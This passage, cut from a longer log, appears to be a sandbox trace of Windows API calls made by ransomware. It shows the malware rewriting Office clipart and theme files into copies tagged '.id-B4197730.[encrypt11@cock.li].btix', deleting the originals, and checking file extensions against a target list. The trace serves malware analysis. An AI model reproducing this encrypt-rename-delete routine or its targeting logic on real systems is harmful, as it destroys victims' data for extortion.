returned 1 [0158.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0158.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.832] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.832] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.948] GetLastError () returned 0x0 [0158.948] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x278a, lpOverlapped=0x0) returned 1 [0158.949] WriteFile (in: hFile=0x348, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x2790, lpOverlapped=0x0) returned 1 [0158.950] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.950] WriteFile (in: hFile=0x348, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.950] SetEndOfFile (hFile=0x348) returned 1 [0159.138] CloseHandle (hObject=0x348) returned 1 [0159.329] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.329] SetEndOfFile (hFile=0x2fc) returned 1 [0159.330] CloseHandle (hObject=0x2fc) returned 1 [0159.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0159.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.331] lstrlenW (lpString=".doc") returned 4 [0159.331] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.331] lstrlenW (lpString=".docx") returned 5 [0159.331] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.331] lstrlenW (lpString=".pdf") returned 4 [0159.331] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.331] lstrlenW (lpString=".xls") returned 4 [0159.331] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.331] lstrlenW (lpString=".xlsx") returned 5 [0159.331] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.331] lstrlenW (lpString=".ppt") returned 4 [0159.331] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.331] lstrlenW (lpString=".zip") returned 4 [0159.331] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.331] lstrlenW (lpString=".rar") returned 4 [0159.331] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.331] lstrlenW (lpString=".bz2") returned 4 [0159.331] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.331] lstrlenW (lpString=".7z") returned 3 [0159.332] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.332] lstrlenW (lpString=".dbf") returned 4 [0159.332] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.332] lstrlenW (lpString=".1cd") returned 4 [0159.332] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.332] lstrlenW (lpString=".jpg") returned 4 [0159.332] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.332] lstrlenW (lpString=".doc") returned 4 [0159.332] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.332] lstrlenW (lpString=".docx") returned 5 [0159.332] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.332] lstrlenW (lpString=".pdf") returned 4 [0159.332] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.332] lstrlenW (lpString=".xls") returned 4 [0159.332] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.332] lstrlenW (lpString=".xlsx") returned 5 [0159.332] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.332] lstrlenW (lpString=".ppt") returned 4 [0159.332] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.332] lstrlenW (lpString=".zip") returned 4 [0159.332] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.332] lstrlenW (lpString=".rar") returned 4 [0159.332] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.333] lstrlenW (lpString=".bz2") returned 4 [0159.333] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.333] lstrlenW (lpString=".7z") returned 3 [0159.333] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.333] lstrlenW (lpString=".dbf") returned 4 [0159.333] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.333] lstrlenW (lpString=".1cd") returned 4 [0159.333] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0159.333] lstrlenW (lpString=".jpg") returned 4 [0159.333] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.333] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0159.333] lstrlenW (lpString="Inset.eftx") returned 10 [0159.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.333] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=44971) returned 1 [0159.333] CloseHandle (hObject=0x2fc) returned 1 [0159.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0159.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0159.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.385] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.386] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.386] GetLastError () returned 0x0 [0159.386] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xafab, lpOverlapped=0x0) returned 1 [0159.387] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xafb0, lpOverlapped=0x0) returned 1 [0159.389] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.389] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xe8, lpOverlapped=0x0) returned 1 [0159.389] SetEndOfFile (hFile=0x2fc) returned 1 [0159.389] CloseHandle (hObject=0x2fc) returned 1 [0159.389] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.389] SetEndOfFile (hFile=0x364) returned 1 [0159.390] CloseHandle (hObject=0x364) returned 1 [0159.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.391] lstrlenW (lpString=".doc") returned 4 [0159.391] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.391] lstrlenW (lpString=".docx") returned 5 [0159.391] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.391] lstrlenW (lpString=".pdf") returned 4 [0159.391] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.391] lstrlenW (lpString=".xls") returned 4 [0159.391] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.391] lstrlenW (lpString=".xlsx") returned 5 [0159.391] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.391] lstrlenW (lpString=".ppt") returned 4 [0159.391] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.391] lstrlenW (lpString=".zip") returned 4 [0159.391] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.391] lstrlenW (lpString=".rar") returned 4 [0159.391] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.391] lstrlenW (lpString=".bz2") returned 4 [0159.391] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.391] lstrlenW (lpString=".7z") returned 3 [0159.391] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.391] lstrlenW (lpString=".dbf") returned 4 [0159.391] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.391] lstrlenW (lpString=".1cd") returned 4 [0159.392] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.392] lstrlenW (lpString=".jpg") returned 4 [0159.392] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.392] lstrlenW (lpString=".doc") returned 4 [0159.392] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString=".docx") returned 5 [0159.392] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.392] lstrlenW (lpString=".pdf") returned 4 [0159.392] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString=".xls") returned 4 [0159.392] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString=".xlsx") returned 5 [0159.392] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.392] lstrlenW (lpString=".ppt") returned 4 [0159.392] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.392] lstrlenW (lpString=".zip") returned 4 [0159.392] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString=".rar") returned 4 [0159.392] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString=".bz2") returned 4 [0159.392] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.392] lstrlenW (lpString=".7z") returned 3 [0159.392] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.392] lstrlenW (lpString=".dbf") returned 4 [0159.393] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.393] lstrlenW (lpString=".1cd") returned 4 [0159.393] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0159.393] lstrlenW (lpString=".jpg") returned 4 [0159.393] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.393] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0159.393] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23 [0159.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.393] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=45229) returned 1 [0159.393] CloseHandle (hObject=0x364) returned 1 [0159.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0159.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0159.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.394] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.394] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0159.394] GetLastError () returned 0x0 [0159.394] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0159.395] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0159.398] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.398] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x102, lpOverlapped=0x0) returned 1 [0159.399] SetEndOfFile (hFile=0x2fc) returned 1 [0159.399] CloseHandle (hObject=0x2fc) returned 1 [0159.399] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.399] SetEndOfFile (hFile=0x364) returned 1 [0159.400] CloseHandle (hObject=0x364) returned 1 [0159.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0159.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.400] lstrlenW (lpString=".doc") returned 4 [0159.400] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.400] lstrlenW (lpString=".docx") returned 5 [0159.400] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.400] lstrlenW (lpString=".pdf") returned 4 [0159.400] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString=".xls") returned 4 [0159.401] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString=".xlsx") returned 5 [0159.401] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.401] lstrlenW (lpString=".ppt") returned 4 [0159.401] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.401] lstrlenW (lpString=".zip") returned 4 [0159.401] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString=".rar") returned 4 [0159.401] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString=".bz2") returned 4 [0159.401] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString=".7z") returned 3 [0159.401] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.401] lstrlenW (lpString=".dbf") returned 4 [0159.401] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.401] lstrlenW (lpString=".1cd") returned 4 [0159.401] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.401] lstrlenW (lpString=".jpg") returned 4 [0159.401] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.401] lstrlenW (lpString=".doc") returned 4 [0159.401] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.401] lstrlenW (lpString=".docx") returned 5 [0159.401] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.401] lstrlenW (lpString=".pdf") returned 4 [0159.402] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.402] lstrlenW (lpString=".xls") returned 4 [0159.402] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.402] lstrlenW (lpString=".xlsx") returned 5 [0159.402] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.402] lstrlenW (lpString=".ppt") returned 4 [0159.402] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.402] lstrlenW (lpString=".zip") returned 4 [0159.402] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.402] lstrlenW (lpString=".rar") returned 4 [0159.402] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.402] lstrlenW (lpString=".bz2") returned 4 [0159.402] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.402] lstrlenW (lpString=".7z") returned 3 [0159.402] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.402] lstrlenW (lpString=".dbf") returned 4 [0159.402] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.402] lstrlenW (lpString=".1cd") returned 4 [0159.402] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0159.402] lstrlenW (lpString=".jpg") returned 4 [0159.402] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.402] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0159.403] lstrlenW (lpString="Reflection.eftx") returned 15 [0159.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.403] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=48366) returned 1 [0159.403] CloseHandle (hObject=0x364) returned 1 [0159.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0159.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme 